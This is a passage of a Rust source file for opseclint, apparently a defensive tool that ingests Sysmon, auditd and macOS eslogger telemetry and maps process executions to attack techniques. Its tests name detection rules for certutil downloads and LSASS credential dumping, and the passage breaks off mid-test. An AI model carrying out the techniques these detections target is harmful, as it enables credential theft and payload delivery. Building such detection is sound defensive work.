Skip to main content

opseclint_core/
telemetry.rs

1//! Ingest recorded host telemetry — the events a sensor actually logged — and
2//! reduce each to the [`Command`]s the analyzer already understands. This is the
3//! complement to opseclint's predictive mode: instead of *predicting* the
4//! telemetry a command would emit, it takes real telemetry and maps it back to
5//! techniques, detectability, and coverage, answering "given what the sensor
6//! recorded, which techniques does this represent?"
7//!
8//! Three sources are supported, all reducing to the same `Command` the analyzer
9//! already understands so the matcher, report, and Sigma evaluation run
10//! unchanged — no new matching layer:
11//!
12//! - Windows **Sysmon Event ID 1** (Process Create), exported as JSON. Its
13//!   `Image` / `CommandLine` / `OriginalFileName` fields are exactly the event
14//!   model [`crate::sigma_eval`] synthesizes from a command line.
15//! - Linux **auditd** `execve` events, as raw `audit.log` text. The multi-line
16//!   `SYSCALL` / `EXECVE` / `CWD` records of one event are reassembled by their
17//!   `audit(…)` id, the argv rebuilt from the `EXECVE` fields, and the program
18//!   taken from the `SYSCALL` `exe` path.
19//! - macOS **Endpoint Security** `NOTIFY_EXEC` events, as `eslogger exec` JSON.
20//!   The new image and argv come from `event.exec.target` / `event.exec.args`,
21//!   and — unlike auditd — the calling process (`process.executable.path`) gives
22//!   a real `ParentImage`.
23//!
24//! This is an *observation* front-end: it describes what a defender's sensor
25//! saw. Like the rest of opseclint it encodes detectability only, never evasion.
26//!
27//! Only process-execution records are ingested. A file that mixes in other event
28//! classes (network / file / registry) has those records **skipped and
29//! counted** — surfaced to the user, never silently dropped.
30
31use std::collections::HashMap;
32use std::sync::Arc;
33
34use serde_json::Value;
35
36use crate::model::SideEffect;
37use crate::parser::{self, Command};
38
39/// A telemetry format opseclint can ingest. All three reduce to the same
40/// `Command` behind the same `--telemetry` input path.
41#[derive(Debug, Clone, Copy, PartialEq, Eq)]
42#[cfg_attr(feature = "clap", derive(clap::ValueEnum))]
43pub enum Format {
44    /// Windows Sysmon Event ID 1 (Process Create), JSON — a top-level array of
45    /// event objects, or one JSON object per line (JSONL).
46    Sysmon,
47    /// Linux auditd process-execution events, raw `audit.log` text — the
48    /// multi-line `SYSCALL` / `EXECVE` / `CWD` records for one `execve`,
49    /// reassembled by their `audit(…)` event id.
50    Auditd,
51    /// macOS Endpoint Security `NOTIFY_EXEC` events, as `eslogger exec` JSON — a
52    /// top-level array, a single object, or JSONL. Carries the calling process,
53    /// so it supplies a real `ParentImage`.
54    Esf,
55}
56
57/// One ingested telemetry record reduced to the analyzer's unit shape: the
58/// commands resolved from the event, the raw command line the sensor recorded,
59/// and the field map of the event. `record` is the 1-based position of the
60/// source record (used as the finding's line number, so a finding points back at
61/// the record it came from). `event` carries the fields a command line can't
62/// supply — `ParentImage`, `User`, `IntegrityLevel`, … — so Sigma evaluation can
63/// resolve rules keyed on them against the real event. Known Sysmon EID 1 fields
64/// are keyed by their canonical name (see `canonical_field`); any other keys
65/// keep their original casing. Wrapped in an `Arc` so the several findings a
66/// record produces share one map instead of each deep-cloning it.
67#[derive(Debug, Clone)]
68pub struct Observation {
69    /// 1-based position of the source record in the ingested file. Becomes the
70    /// finding's line number, so a finding points back at the record it came
71    /// from.
72    pub record: usize,
73    /// The commands resolved from this event — usually one, more when the
74    /// recorded command line itself contains a pipeline or substitution.
75    pub commands: Vec<Command>,
76    /// The command line exactly as the sensor recorded it.
77    pub raw: String,
78    /// The event's field map: the fields a command line cannot supply
79    /// (`ParentImage`, `User`, `IntegrityLevel`, …), so Sigma evaluation can
80    /// resolve rules keyed on them against what was really logged. Known Sysmon
81    /// EID 1 fields are keyed by their canonical name; any other key keeps its
82    /// original casing. `Arc` so the several findings one record produces share
83    /// a single map.
84    pub event: Arc<HashMap<String, String>>,
85    /// Non-execution events (network / file / registry) correlated to this
86    /// execution by pid — confirmed secondary telemetry.
87    pub side_effects: Vec<SideEffect>,
88}
89
90/// The result of ingesting a telemetry file: the process-execution observations
91/// to analyze, how many records were skipped as their own units, and the
92/// non-execution events that did not correlate to any execution — matched
93/// standalone against the KB's `event` axis.
94#[derive(Debug, Clone)]
95pub struct Ingest {
96    /// The process-execution records, in file order.
97    pub observations: Vec<Observation>,
98    /// How many records were not ingested as their own unit — non-execution
99    /// event classes, and malformed records. Counted rather than silently
100    /// dropped: report it, so a thin result is distinguishable from a quiet
101    /// host.
102    pub skipped: usize,
103    /// Non-execution events that did not correlate back to any captured
104    /// execution, matched standalone against the knowledge base's `event` axis.
105    pub event_observations: Vec<EventObservation>,
106}
107
108/// A non-execution event (network / file / registry) that did not correlate to a
109/// captured execution — so it is matched on its own, by the KB `event` axis,
110/// against the recorded field map. Its causing process was either not in the file
111/// or was not a process launch (e.g. a GUI-set registry Run key).
112#[derive(Debug, Clone)]
113pub struct EventObservation {
114    /// 1-based position of the source record in the ingested file.
115    pub record: usize,
116    /// Short event-class tag: `network`, `file`, or `registry`.
117    pub class: String,
118    /// The human-readable phrase describing what was observed.
119    pub detail: String,
120    /// The event's recorded field map, keyed as in [`Observation::event`].
121    pub event: Arc<HashMap<String, String>>,
122}
123
124/// A uid → user-name map, from a `passwd`-format file (see [`parse_passwd`]).
125pub type UserMap = HashMap<String, String>;
126
127/// Parse recorded telemetry `text` in the given `format` into observations, with
128/// no uid→name mapping. The ergonomic default; reach for [`parse_with_users`]
129/// when you have a `passwd` map to resolve numeric uids against (opseclint's
130/// `--users`).
131pub fn parse(text: &str, format: Format) -> Result<Ingest, String> {
132    parse_with_users(text, format, &UserMap::new())
133}
134
135/// Like [`parse`], but resolves numeric uids to names via `users` (from
136/// `--users`). Only auditd carries a numeric uid today; Sysmon already names the
137/// user and ESF's audit-token uid is a follow-on.
138pub fn parse_with_users(text: &str, format: Format, users: &UserMap) -> Result<Ingest, String> {
139    match format {
140        Format::Sysmon => parse_sysmon(text),
141        Format::Auditd => parse_auditd(text, users),
142        Format::Esf => parse_esf(text),
143    }
144}
145
146/// Parse a `passwd`-format file into a uid → name map: each `name:x:uid:…` line
147/// contributes `uid -> name`. Lines with fewer than three colon fields (comments,
148/// blanks) are ignored.
149pub fn parse_passwd(text: &str) -> UserMap {
150    let mut map = UserMap::new();
151    for line in text.lines() {
152        let fields: Vec<&str> = line.split(':').collect();
153        if fields.len() >= 3 && !fields[0].is_empty() && !fields[2].is_empty() {
154            map.insert(fields[2].to_string(), fields[0].to_string());
155        }
156    }
157    map
158}
159
160fn parse_sysmon(text: &str) -> Result<Ingest, String> {
161    let events = read_events(text)?;
162    let mut observations: Vec<Observation> = Vec::new();
163    let mut event_observations: Vec<EventObservation> = Vec::new();
164    // pid -> index of the most recent execution seen so far with that pid.
165    // Correlating in file order to the latest prior execution attributes a
166    // side-effect to the right process even when a pid is reused within the file
167    // (a process exits and the id is recycled), and keeps correlation linear.
168    let mut latest_by_pid: HashMap<String, usize> = HashMap::new();
169    let mut skipped = 0;
170    for (i, ev) in events.iter().enumerate() {
171        let fields = flatten_fields(ev);
172        match reduce_process_create(&fields) {
173            Some((commands, raw)) => {
174                if let Some(p) = fields.get("ProcessId") {
175                    latest_by_pid.insert(p.clone(), observations.len());
176                }
177                observations.push(Observation {
178                    record: i + 1,
179                    commands,
180                    raw,
181                    event: Arc::new(fields),
182                    side_effects: Vec::new(),
183                });
184            }
185            None => {
186                // A non-process-creation record is not analyzed as its own unit,
187                // but a recognized network/file/registry event is kept: attached to
188                // the execution that most recently held its pid, or — with no such
189                // execution — as a standalone event matched against the KB `event`
190                // axis.
191                skipped += 1;
192                if let Some((class, detail)) = sysmon_event(&fields) {
193                    match fields.get("ProcessId").and_then(|p| latest_by_pid.get(p)) {
194                        Some(&idx) => observations[idx]
195                            .side_effects
196                            .push(SideEffect { class, detail }),
197                        None => event_observations.push(EventObservation {
198                            record: i + 1,
199                            class,
200                            detail,
201                            event: Arc::new(fields),
202                        }),
203                    }
204                }
205            }
206        }
207    }
208    Ok(Ingest {
209        observations,
210        skipped,
211        event_observations,
212    })
213}
214
215/// The class (`network` / `file` / `registry`) and human detail of a Sysmon
216/// network (EID 3), file-create (EID 11), or registry (EID 13) record, or `None`.
217fn sysmon_event(fields: &HashMap<String, String>) -> Option<(String, String)> {
218    let get = |k: &str| fields.get(k).map(String::as_str).filter(|v| !v.is_empty());
219    let (class, detail) = match fields.get("EventID").map(String::as_str) {
220        Some("3") => {
221            let host = get("DestinationIp").or_else(|| get("DestinationHostname"))?;
222            let detail = match get("DestinationPort") {
223                Some(port) => format!("network connection to {host}:{port}"),
224                None => format!("network connection to {host}"),
225            };
226            ("network", detail)
227        }
228        Some("11") => ("file", format!("file created {}", get("TargetFilename")?)),
229        Some("13") => ("registry", format!("registry set {}", get("TargetObject")?)),
230        _ => return None,
231    };
232    Some((class.to_string(), detail))
233}
234
235/// Canonical Sysmon Event ID 1 field names. Ingested records arrive with varied
236/// casing and nesting; canonicalizing on the way in lets both the reduction and
237/// the Sigma evaluator address a field by the standard name a rule references
238/// (e.g. a `ParentImage|endswith` selection). Unrecognized keys are kept as-is.
239const SYSMON_FIELDS: &[&str] = &[
240    "EventID",
241    "Image",
242    "CommandLine",
243    "OriginalFileName",
244    "CurrentDirectory",
245    "User",
246    "IntegrityLevel",
247    "Hashes",
248    "Company",
249    "Description",
250    "Product",
251    "FileVersion",
252    "ParentImage",
253    "ParentCommandLine",
254    "ParentUser",
255    "ParentProcessId",
256    "ProcessId",
257    "LogonId",
258    "TerminalSessionId",
259    // Non-execution fields used for side-effect correlation (EID 3 / 11 / 13).
260    "DestinationIp",
261    "DestinationPort",
262    "DestinationHostname",
263    "TargetFilename",
264    "TargetObject",
265    "EventType",
266];
267
268/// Map an incoming field key to its canonical Sysmon name (case-insensitively),
269/// normalizing the Elastic `winlog` `event_id` alias to `EventID`.
270fn canonical_field(key: &str) -> String {
271    if key.eq_ignore_ascii_case("event_id") {
272        return "EventID".to_string();
273    }
274    SYSMON_FIELDS
275        .iter()
276        .find(|f| key.eq_ignore_ascii_case(f))
277        .map(|f| f.to_string())
278        .unwrap_or_else(|| key.to_string())
279}
280
281/// Read a telemetry document into a flat list of event values, accepting the
282/// three shapes real exporters produce: a top-level JSON array of events, a
283/// single JSON object, or JSONL (one JSON object per line).
284fn read_events(text: &str) -> Result<Vec<Value>, String> {
285    let trimmed = text.trim_start();
286    if trimmed.starts_with('[') {
287        let v: Value =
288            serde_json::from_str(text).map_err(|e| format!("invalid JSON array: {e}"))?;
289        return match v {
290            Value::Array(items) => Ok(items),
291            _ => Err("expected a JSON array of events".to_string()),
292        };
293    }
294    // A single JSON object spanning the whole input (possibly pretty-printed).
295    if trimmed.starts_with('{')
296        && let Ok(v) = serde_json::from_str::<Value>(text)
297    {
298        return Ok(vec![v]);
299    }
300    // JSONL: one JSON value per non-empty line.
301    let mut out = Vec::new();
302    for (n, line) in text.lines().enumerate() {
303        let l = line.trim();
304        if l.is_empty() {
305            continue;
306        }
307        let v: Value =
308            serde_json::from_str(l).map_err(|e| format!("invalid JSON on line {}: {e}", n + 1))?;
309        out.push(v);
310    }
311    if out.is_empty() {
312        return Err("no telemetry records found".to_string());
313    }
314    Ok(out)
315}
316
317/// Flatten an event object into a map of scalar fields keyed by canonical Sysmon
318/// field name, descending through the container objects different exporters wrap
319/// event data in (`EventData`, Elastic's `winlog.event_data`, an outer `Event`,
320/// …) and the EVTX→JSON `{ "@Name": "Image", "#text": "…" }` array shape.
321/// Top-level scalars win over nested ones, which is correct: flat Sysmon JSON
322/// carries the fields at the top level, and the nested shapes carry them only
323/// when the top level does not. Canonical names let the reduction and the Sigma
324/// evaluator address a field by the standard name a rule references.
325fn flatten_fields(ev: &Value) -> HashMap<String, String> {
326    let mut out = HashMap::new();
327    collect_scalars(ev, &mut out, 0);
328    out
329}
330
331fn collect_scalars(v: &Value, out: &mut HashMap<String, String>, depth: usize) {
332    // Guard against pathological nesting; real telemetry wraps two, maybe three
333    // levels deep.
334    if depth > 4 {
335        return;
336    }
337    let Some(map) = v.as_object() else { return };
338
339    // Two passes so precedence is by depth, not by key order: insert every
340    // scalar at this level first, then descend. With `or_insert` (first write
341    // wins), a shallower field always wins over an equivalent deeper one —
342    // regardless of the order the serializer yields keys in. That is what makes
343    // a flat top-level field win over the same field nested in `EventData`.
344    for (k, val) in map {
345        if let Some(s) = value_scalar(val) {
346            out.entry(canonical_field(k)).or_insert(s);
347        }
348    }
349    for val in map.values() {
350        match val {
351            Value::Object(_) => collect_scalars(val, out, depth + 1),
352            Value::Array(items) => {
353                for item in items {
354                    // The EVTX→JSON name/value shape: each entry names one field.
355                    let obj = item.as_object();
356                    let name = obj
357                        .and_then(|o| o.get("@Name").or_else(|| o.get("Name")))
358                        .and_then(Value::as_str);
359                    let text = obj.and_then(|o| o.get("#text").or_else(|| o.get("text")));
360                    match (name, text) {
361                        (Some(name), Some(text)) => {
362                            if let Some(s) = value_scalar(text) {
363                                out.entry(canonical_field(name)).or_insert(s);
364                            }
365                        }
366                        _ => collect_scalars(item, out, depth + 1),
367                    }
368                }
369            }
370            _ => {}
371        }
372    }
373}
374
375fn value_scalar(v: &Value) -> Option<String> {
376    match v {
377        Value::String(s) => Some(s.clone()),
378        Value::Number(n) => Some(n.to_string()),
379        Value::Bool(b) => Some(b.to_string()),
380        _ => None,
381    }
382}
383
384/// Reduce a flattened event to `(commands, raw)` if it is a process-creation
385/// record, else `None` (so the caller can count it as skipped).
386///
387/// A record is process-creation when its event id is `1`, or — when no event id
388/// is present (some Sysmon-only EID 1 exports omit it) — when it carries a
389/// command line. Requiring the command line in the id-less case is what keeps a
390/// network (EID 3) or file (EID 11) record, which carries an `Image` but no
391/// `CommandLine`, from being misread as a process launch.
392fn reduce_process_create(fields: &HashMap<String, String>) -> Option<(Vec<Command>, String)> {
393    // Fields are canonically named by `flatten_fields`, so the Sysmon standard
394    // names address them directly.
395    let event_id = fields.get("EventID");
396    let command_line = fields.get("CommandLine").map(String::as_str).unwrap_or("");
397    let is_process_create = match event_id {
398        Some(id) => id.trim() == "1",
399        None => !command_line.trim().is_empty(),
400    };
401    if !is_process_create {
402        return None;
403    }
404    execution_from_fields(fields)
405}
406
407/// Resolve `(commands, raw)` for a process launch from a canonical field map,
408/// shared by every ingest format. Prefers the recorded `CommandLine` as the raw
409/// text, falling back to the `Image` path when no command line was logged; then
410/// tokenizes it with the shell parser (wrapper stripping, quote handling, and
411/// compound-line splitting all come for free) and trusts `Image` for the primary
412/// program's basename — the authoritative executable path, matched with the same
413/// normalization the KB keys on. `None` when there is nothing to analyze.
414fn execution_from_fields(fields: &HashMap<String, String>) -> Option<(Vec<Command>, String)> {
415    let command_line = fields.get("CommandLine").map(String::as_str).unwrap_or("");
416    let image = fields.get("Image").map(String::as_str).unwrap_or("");
417    let raw = if command_line.trim().is_empty() {
418        image.to_string()
419    } else {
420        command_line.to_string()
421    };
422    if raw.trim().is_empty() {
423        return None;
424    }
425
426    let mut commands = parser::parse_line(&raw);
427    if !image.trim().is_empty() {
428        let program = parser::basename(image);
429        match commands.first_mut() {
430            Some(first) => first.program = program,
431            None => commands.push(Command {
432                program,
433                args: Vec::new(),
434                raw: raw.clone(),
435            }),
436        }
437    }
438    Some((commands, raw))
439}
440
441// ---------------------------------------------------------------------------
442// Linux auditd
443// ---------------------------------------------------------------------------
444
445/// One parsed auditd record line: its `type`, the `audit(…)` event id that ties
446/// the multi-line records of a single event together, and its `key=value`
447/// fields (values kept as the raw token — quoted or hex — for `decode_value`).
448struct AuditRecord {
449    kind: String,
450    event_id: String,
451    fields: HashMap<String, String>,
452}
453
454/// Ingest raw auditd log text. Records are reassembled into events by their
455/// `audit(<ts>:<serial>)` id; an event that carries an `EXECVE` record is a
456/// process execution and reduces to a `Command`, with the argv rebuilt from the
457/// `EXECVE` `a0…aN` fields, the program from the `SYSCALL` `exe` path, and the
458/// working directory from the `CWD` record. Every other event class (a `connect`,
459/// an `open`, …) carries no `EXECVE` and is skipped and counted.
460///
461/// Only fields opseclint can map honestly are carried onto the event: auditd
462/// records the parent as a numeric `ppid` (no path), so `ParentImage` is absent
463/// and parent-keyed rules stay indeterminate; and it records a numeric `uid`,
464/// which is mapped onto the name-based `User` field **only** when `--users`
465/// supplies the uid→name mapping — otherwise it is left unresolved rather than
466/// guessed (mapping `0` to `root` blindly would risk a false `no-fire`).
467fn parse_auditd(text: &str, users: &UserMap) -> Result<Ingest, String> {
468    let mut order: Vec<String> = Vec::new();
469    let mut groups: HashMap<String, Vec<AuditRecord>> = HashMap::new();
470    for line in text.lines() {
471        if let Some(rec) = parse_audit_record(line) {
472            if !groups.contains_key(&rec.event_id) {
473                order.push(rec.event_id.clone());
474            }
475            groups.entry(rec.event_id.clone()).or_default().push(rec);
476        }
477    }
478    if order.is_empty() {
479        return Err("no auditd records found".to_string());
480    }
481
482    let mut observations = Vec::new();
483    let mut skipped = 0;
484    for (idx, id) in order.iter().enumerate() {
485        let recs = &groups[id];
486        let execve = recs.iter().find(|r| r.kind == "EXECVE");
487        // An EXECVE record is emitted only for execve/execveat, so its presence
488        // is an arch-independent signal that this event is a process launch.
489        let Some(execve) = execve else {
490            skipped += 1;
491            continue;
492        };
493
494        let mut fields = HashMap::new();
495        let cmdline = build_execve_cmdline(&execve.fields);
496        if !cmdline.is_empty() {
497            fields.insert("CommandLine".to_string(), cmdline);
498        }
499        if let Some(syscall) = recs.iter().find(|r| r.kind == "SYSCALL") {
500            // Resolve the numeric uid to a name only when `--users` maps it.
501            if let Some(uid) = syscall.fields.get("uid")
502                && let Some(name) = users.get(uid)
503            {
504                fields.insert("User".to_string(), name.clone());
505            }
506            if let Some(exe) = syscall.fields.get("exe") {
507                let exe = decode_value(exe);
508                if !exe.is_empty() {
509                    fields.insert("Image".to_string(), exe);
510                }
511            }
512            // The controlling tty and the audit rule tag (`key`) — extra context
513            // auditd records that a rule may key on. Each is carried only when the
514            // SYSCALL record includes it; a `(none)` tty is dropped.
515            for (src, dst) in [("tty", "tty"), ("key", "key")] {
516                if let Some(v) = syscall.fields.get(src) {
517                    let v = decode_value(v);
518                    if !v.is_empty() && v != "(none)" {
519                        fields.insert(dst.to_string(), v);
520                    }
521                }
522            }
523        }
524        if let Some(cwd) = recs.iter().find(|r| r.kind == "CWD")
525            && let Some(dir) = cwd.fields.get("cwd")
526        {
527            let dir = decode_value(dir);
528            if !dir.is_empty() {
529                fields.insert("CurrentDirectory".to_string(), dir);
530            }
531        }
532
533        match execution_from_fields(&fields) {
534            Some((commands, raw)) => observations.push(Observation {
535                // The event's ordinal position in the source log (skipped events
536                // consume a number too), so a finding points back at the right
537                // event — matching the Sysmon path's `record`.
538                record: idx + 1,
539                commands,
540                raw,
541                event: Arc::new(fields),
542                side_effects: Vec::new(),
543            }),
544            None => skipped += 1,
545        }
546    }
547    Ok(Ingest {
548        observations,
549        skipped,
550        event_observations: Vec::new(),
551    })
552}
553
554/// Parse one auditd log line into a record, or `None` if it is not an
555/// `type=… msg=audit(…)` line (blank lines, `ausearch` `----` separators, …).
556fn parse_audit_record(line: &str) -> Option<AuditRecord> {
557    let fields = parse_kv(line);
558    let kind = fields.get("type").map(|v| decode_value(v))?;
559    let event_id = fields.get("msg").and_then(|m| event_id_from_msg(m))?;
560    Some(AuditRecord {
561        kind,
562        event_id,
563        fields,
564    })
565}
566
567/// Extract the `<ts>:<serial>` event id from an auditd `msg` value such as
568/// `audit(1626898254.123:45)`. The exact timestamp shape doesn't matter — the
569/// same string across an event's records is all that's needed to group them.
570fn event_id_from_msg(msg: &str) -> Option<String> {
571    let start = msg.find("audit(")? + "audit(".len();
572    let end = msg[start..].find(')')? + start;
573    Some(msg[start..end].to_string())
574}
575
576/// Rebuild an `execve` command line from an `EXECVE` record's `a0`, `a1`, …
577/// argument fields, in order, each decoded (quoted or hex). Stops at the first
578/// gap. Argument chunking (`a1_len` + `a1[0]`…) for oversized args is not
579/// reassembled — a documented limitation.
580///
581/// auditd hands us the *exact* argv, already split; the shared reducer then
582/// re-tokenizes the joined line with the shell parser. So each argument is
583/// re-quoted if it holds anything the parser would act on (whitespace, quotes, a
584/// separator), keeping the reconstructed boundaries identical to what the sensor
585/// recorded rather than letting one argument split into several.
586fn build_execve_cmdline(fields: &HashMap<String, String>) -> String {
587    let mut args = Vec::new();
588    let mut i = 0;
589    while let Some(v) = fields.get(&format!("a{i}")) {
590        args.push(shell_quote_arg(&decode_value(v)));
591        i += 1;
592    }
593    args.join(" ")
594}
595
596/// Quote a decoded argv element for the shell tokenizer so it round-trips as one
597/// token. Values made only of characters the parser treats literally are left
598/// bare; anything else is wrapped in a quote it does not itself contain (double
599/// preferred). The parser toggles on quotes without honoring backslash escapes,
600/// so an argument holding *both* quote kinds can't round-trip perfectly — a rare,
601/// documented edge that is no worse than leaving it unquoted.
602fn shell_quote_arg(arg: &str) -> String {
603    let is_bare = !arg.is_empty()
604        && arg.bytes().all(|b| {
605            b.is_ascii_alphanumeric()
606                || matches!(
607                    b,
608                    b'-' | b'_' | b'.' | b'/' | b':' | b'=' | b'@' | b',' | b'+' | b'%'
609                )
610        });
611    if is_bare {
612        return arg.to_string();
613    }
614    if !arg.contains('"') {
615        format!("\"{arg}\"")
616    } else {
617        format!("'{arg}'")
618    }
619}
620
621/// Decode an auditd field value: strip surrounding quotes, or hex-decode when it
622/// is an unquoted even-length run of hex digits (auditd hex-encodes values that
623/// contain spaces, quotes, or control characters). Anything else is literal.
624/// Applied only to string-valued fields (`exe`, `cwd`, argv), never to numeric
625/// ones like `uid`, so a value like `pid=5678` is never mistaken for hex.
626fn decode_value(v: &str) -> String {
627    let v = v.trim();
628    if v.len() >= 2 && v.starts_with('"') && v.ends_with('"') {
629        return v[1..v.len() - 1].to_string();
630    }
631    if v.len() >= 2
632        && v.len().is_multiple_of(2)
633        && v.bytes().all(|b| b.is_ascii_hexdigit())
634        && let Some(decoded) = hex_decode(v)
635    {
636        return decoded;
637    }
638    v.to_string()
639}
640
641/// Decode a hex string to UTF-8, or `None` if it isn't valid UTF-8. auditd uses
642/// a NUL to separate concatenated fields (e.g. proctitle); a trailing NUL is
643/// trimmed so a decoded exe path stays clean.
644fn hex_decode(s: &str) -> Option<String> {
645    let bytes: Option<Vec<u8>> = (0..s.len())
646        .step_by(2)
647        .map(|i| u8::from_str_radix(&s[i..i + 2], 16).ok())
648        .collect();
649    let mut bytes = bytes?;
650    while bytes.last() == Some(&0) {
651        bytes.pop();
652    }
653    String::from_utf8(bytes).ok()
654}
655
656/// Parse a line of space-separated auditd `key=value` tokens into a map,
657/// respecting double-quoted values that contain spaces. Values are stored as
658/// their raw token (quotes/hex intact) for `decode_value` to interpret. Tokens
659/// without `=` (a leading `node=` is a normal kv; a bare word is not) are
660/// skipped.
661fn parse_kv(s: &str) -> HashMap<String, String> {
662    let mut out = HashMap::new();
663    let bytes = s.as_bytes();
664    let mut i = 0;
665    while i < bytes.len() {
666        while i < bytes.len() && bytes[i] == b' ' {
667            i += 1;
668        }
669        if i >= bytes.len() {
670            break;
671        }
672        let key_start = i;
673        while i < bytes.len() && bytes[i] != b'=' && bytes[i] != b' ' {
674            i += 1;
675        }
676        if i >= bytes.len() || bytes[i] != b'=' {
677            // No '=': skip to the next token.
678            while i < bytes.len() && bytes[i] != b' ' {
679                i += 1;
680            }
681            continue;
682        }
683        let key = &s[key_start..i];
684        i += 1; // skip '='
685        let val_start = i;
686        let val_end = if i < bytes.len() && bytes[i] == b'"' {
687            i += 1;
688            while i < bytes.len() && bytes[i] != b'"' {
689                i += 1;
690            }
691            if i < bytes.len() {
692                i += 1; // include the closing quote
693            }
694            i
695        } else {
696            while i < bytes.len() && bytes[i] != b' ' {
697                i += 1;
698            }
699            i
700        };
701        out.insert(key.to_string(), s[val_start..val_end].to_string());
702    }
703    out
704}
705
706// ---------------------------------------------------------------------------
707// macOS Endpoint Security (eslogger)
708// ---------------------------------------------------------------------------
709
710/// Ingest macOS Endpoint Security `NOTIFY_EXEC` telemetry, as produced by
711/// `eslogger exec` — a top-level JSON array, a single object, or JSONL, read by
712/// the same [`read_events`] the Sysmon path uses. Every record carrying an
713/// `event.exec` object is a process execution; anything else (an `open`, a
714/// `fork`) is skipped and counted.
715///
716/// ESF exec semantics: `event.exec.target` is the *new* process (its
717/// `executable.path` and `event.exec.args` are the launched image and argv),
718/// while the message's top-level `process` is the caller that invoked `exec` —
719/// so its `executable.path` is the parent image a defender's rules key on. That
720/// is what lets ESF resolve `ParentImage`-keyed detections where auditd cannot.
721fn parse_esf(text: &str) -> Result<Ingest, String> {
722    let events = read_events(text)?;
723    let mut observations = Vec::new();
724    let mut skipped = 0;
725    for (i, ev) in events.iter().enumerate() {
726        match reduce_esf(ev) {
727            Some(fields) => match execution_from_fields(&fields) {
728                Some((commands, raw)) => observations.push(Observation {
729                    record: i + 1,
730                    commands,
731                    raw,
732                    event: Arc::new(fields),
733                    side_effects: Vec::new(),
734                }),
735                None => skipped += 1,
736            },
737            None => skipped += 1,
738        }
739    }
740    Ok(Ingest {
741        observations,
742        skipped,
743        event_observations: Vec::new(),
744    })
745}
746
747/// Reduce one ESF message to a canonical field map, or `None` when it is not an
748/// exec event. `Image` / `CommandLine` / `CurrentDirectory` come from the new
749/// process (`event.exec.target` / `args` / `cwd`); `ParentImage` from the calling
750/// process that invoked exec.
751fn reduce_esf(ev: &Value) -> Option<HashMap<String, String>> {
752    let exec = ev.get("event")?.get("exec")?;
753    if !exec.is_object() {
754        return None;
755    }
756    let mut fields = HashMap::new();
757    if let Some(image) = nested_str(exec, &["target", "executable", "path"]) {
758        insert_nonempty(&mut fields, "Image", image);
759    }
760    let cmdline = join_json_args(exec.get("args"));
761    if !cmdline.is_empty() {
762        fields.insert("CommandLine".to_string(), cmdline);
763    }
764    if let Some(cwd) = nested_str(exec, &["cwd", "path"]) {
765        insert_nonempty(&mut fields, "CurrentDirectory", cwd);
766    }
767    if let Some(parent) = nested_str(ev, &["process", "executable", "path"]) {
768        insert_nonempty(&mut fields, "ParentImage", parent);
769    }
770    // Code-signing context of the new image — the fields macOS detections key on
771    // to flag unsigned or third-party binaries. Kept under their `eslogger`
772    // names so a rule author keys on what they see in the telemetry.
773    if let Some(target) = exec.get("target") {
774        if let Some(signing_id) = target.get("signing_id").and_then(Value::as_str) {
775            insert_nonempty(&mut fields, "signing_id", signing_id);
776        }
777        if let Some(team_id) = target.get("team_id").and_then(Value::as_str) {
778            insert_nonempty(&mut fields, "team_id", team_id);
779        }
780        if let Some(platform) = target.get("is_platform_binary").and_then(Value::as_bool) {
781            fields.insert("is_platform_binary".to_string(), platform.to_string());
782        }
783    }
784    Some(fields)
785}
786
787/// Join a JSON array of argv strings into a command line, re-quoting each element
788/// (via [`shell_quote_arg`]) so the shared reducer's re-tokenization preserves
789/// the exact boundaries the sensor recorded — the same concern as auditd argv.
790fn join_json_args(args: Option<&Value>) -> String {
791    let Some(items) = args.and_then(Value::as_array) else {
792        return String::new();
793    };
794    items
795        .iter()
796        .filter_map(Value::as_str)
797        .map(shell_quote_arg)
798        .collect::<Vec<_>>()
799        .join(" ")
800}
801
802/// Follow a chain of object keys to a string leaf, or `None` if any hop is
803/// missing or the leaf is not a string.
804fn nested_str<'a>(v: &'a Value, path: &[&str]) -> Option<&'a str> {
805    let mut cur = v;
806    for key in path {
807        cur = cur.get(key)?;
808    }
809    cur.as_str()
810}
811
812/// Insert `key` only when `value` is non-empty, keeping empty sensor fields from
813/// masking a synthesized fallback in `execution_from_fields`.
814fn insert_nonempty(fields: &mut HashMap<String, String>, key: &str, value: &str) {
815    if !value.is_empty() {
816        fields.insert(key.to_string(), value.to_string());
817    }
818}
819
820#[cfg(test)]
821mod tests {
822    use super::*;
823    use crate::analyzer;
824    use crate::kb;
825    use crate::model::KnowledgeBase;
826    use std::path::PathBuf;
827
828    fn fixture(name: &str) -> String {
829        let path = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
830            .join("../../tests/fixtures/telemetry")
831            .join(name);
832        std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("read {}: {e}", path.display()))
833    }
834
835    fn win_kb() -> KnowledgeBase {
836        kb::load(kb::Platform::WindowsSysmon).expect("windows KB must parse")
837    }
838
839    fn lnx_kb() -> KnowledgeBase {
840        kb::load(kb::Platform::LinuxAuditd).expect("linux KB must parse")
841    }
842
843    fn mac_kb() -> KnowledgeBase {
844        kb::load(kb::Platform::MacosEs).expect("macos KB must parse")
845    }
846
847    fn ids(report: &crate::model::Report) -> Vec<String> {
848        report.findings.iter().map(|f| f.rule_id.clone()).collect()
849    }
850
851    #[test]
852    fn ingests_sysmon_array_and_skips_non_process_events() {
853        let ingest = parse(&fixture("sysmon-eid1.json"), Format::Sysmon).expect("parses");
854        // Three EID 1 process events; the lone EID 3 network record is skipped.
855        assert_eq!(ingest.observations.len(), 3);
856        assert_eq!(ingest.skipped, 1);
857        // Record numbers reflect source position (the skipped record is #4).
858        assert_eq!(
859            ingest
860                .observations
861                .iter()
862                .map(|o| o.record)
863                .collect::<Vec<_>>(),
864            vec![1, 2, 3]
865        );
866    }
867
868    #[test]
869    fn analyzes_ingested_sysmon_events_via_the_existing_matcher() {
870        let ingest = parse(&fixture("sysmon-eid1.json"), Format::Sysmon).expect("parses");
871        let report = analyzer::analyze_telemetry(&ingest, &win_kb());
872        let ids = ids(&report);
873        // The malicious process-creation events map to their KB entries…
874        assert!(ids.contains(&"certutil-download".to_string()));
875        assert!(ids.contains(&"lsass-comsvcs".to_string()));
876        // …and the finding points back at the record it came from.
877        let certutil = report
878            .findings
879            .iter()
880            .find(|f| f.rule_id == "certutil-download")
881            .unwrap();
882        assert_eq!(certutil.line, 1);
883    }
884
885    // A minimal KB whose one entry matches a registry event by its `event` axis,
886    // used to exercise standalone non-execution matching without touching the
887    // embedded production KB.
888    fn event_kb() -> KnowledgeBase {
889        let json = r#"{
